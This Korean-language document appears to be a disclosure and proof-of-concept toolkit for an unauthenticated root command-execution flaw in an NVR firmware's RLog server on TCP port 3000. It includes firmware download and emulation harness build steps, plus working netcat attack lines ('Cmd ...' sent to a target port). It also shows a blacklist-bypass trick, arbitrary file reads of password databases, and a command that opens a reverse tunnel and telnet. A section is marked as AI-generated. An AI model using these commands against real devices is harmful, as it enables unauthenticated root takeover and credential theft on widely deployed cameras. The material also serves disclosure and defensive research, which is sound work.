
CVE-2026-100886 | 인증되지 않은 원격 코드 실행 툴킷.
이 하네스는 펌웨어의 libLOG.so가 TCP/3000에서 RLog
서버를 시작함을 보여준다. 명령 디스패처 분석과 동적 테스트는
해당 서버를 통한 인증 없는 OS 명령 실행을 입증한다.
qemu-arm에서 펌웨어 자체의 libLOG.so를 로드하고, TLog_Init()을 호출하면
실제 서버가 0.0.0.0:3000에 바인딩되어 어디서든
인증 없이 인바운드 연결을 수락한다.
펌웨어는 TCP/3000에서 인증 없는 RLog 명령 서버를 노출한다.
명령 디스패처는 Cmd를 등록하며, 이는 공격자가 제어하는
입력을 TLog_CMD로 전달한다. TLog_CMD는 궁극적으로 펌웨어 명령
실행 백엔드를 호출한다.
따라서:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: 영구 버전: 서버를 띄우고 대기한다 (실제 사용 시 이것을 사용)probe_harness.c: 프로브 버전: 에뮬레이터 내부에서 명령 프로브도 시도한다 (타입 바이트 프레이밍 요구사항을 보여줌)아래 스크립트가 sysroot를 생성하는 데 사용하는 펌웨어 다운로드가 더 이상 존재하지 않는다면. 다음 중 하나에서 받을 수 있다 (nvr을 이미지 검색하면 됨, 펌웨어는 널리 배포되어 있음):
이 작업에는 펌웨어 v4.6.1.4-build202604241011을 사용했으며, 다른 펌웨어 버전은 아직 테스트되지 않았지만 fullward 같은 다운스트림 드롭십퍼들도 가지고 있다.
하네스와 같은 디렉터리에서 실행
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
이 하네스는 libLOG.so가 edvr에서 임포트하는 심볼들의 스텁 구현을 제공한다
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
probe_harness.c의 관찰된 출력 (위 스크립트에서 사용된 것이 아님):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux가 표시되는 것은 이 PoC가 호스트 파일시스템을 제대로 격리하지 않아 qemu user mode가 호스트 파일시스템을 공유하기 때문이다.
AI 고지, 아래 텍스트는 AI가 생성함
LogModuleRegCmd @ 0x8f94)| Command | Handler | Effect |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | various | logging/self-test control |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | info/config/log disclosure |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | arbitrary file read (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | file read |
Cmd [System commands] | TLog_CMD (0x3680) | shell command execution as root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | reverse TUN tunnel + telnetd on port 23 |
; \r \n에서 중단).vi, cd, top, if, killcmd} (strcmp) — 사소하게 우회 가능 (cat, sh, 따옴표 사용)."%s -b" → sh -c를 통해 실행.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → **/usr/sbin/systemd**로의 IPC (가짜 systemd, root로 /bin/sh를 통해 실행; 문자열 "[systemd cmd:]%s", "[systemd ret:]%d").블랙리스트 데모 (2026-08-04, 에뮬레이션된 서버):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port>를 파싱한다 (3개 필드 기대).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun을 열고, 인터페이스 **tps0**를 생성, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txt를 읽음system("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e)와 system("telnetd -p 23 &") (0x8c32)를 실행한다.portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — 로그 디렉터리 정리(TLog_DeleteLogFile)에서 사용됨.하네스(harness.c)는 libLOG.so를 dlopen하고, edvr 임포트를 스텁하고, TLog_Init()을 호출한다:
dlopen ok
TLog_Init() -> 0
호스트 측 (qemu user-mode 소켓 패스스루):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))
명령 실행 증명 (평문, 인증 없음):
$ printf 'Cmd touch /tmp/rlog_pwned\r\n' | nc <target> 3000 # file created
$ printf 'Cmd id > /tmp/rlog_id.txt\r\n' | nc <target> 3000 # id output captured
둘 다 에뮬레이션된 서버에서 검증되었다. 명령은 mysystem() → /usr/sbin/systemd → /bin/sh를 통해 실행된다 (디바이스에서 root). 소켓으로는 출력이 반환되지 않는다 (블라인드 RCE; 대역 외 유출을 사용할 것, 예: Cmd cat /usr/local/etc/user.db > /mnt/... 또는 리버스 셸).
영향: 인증되지 않은 모든 네트워크 공격자가 root로 셸 명령을 실행하고, 모든 파일(평문 비밀번호 DB와 비밀번호가 유출되는 로그 포함)을 읽고, 텔넷을 포트 23으로 전환할 수 있다. LAN에서는 게임 오버이며, 인터넷에 노출된 장비에서도 마찬가지다.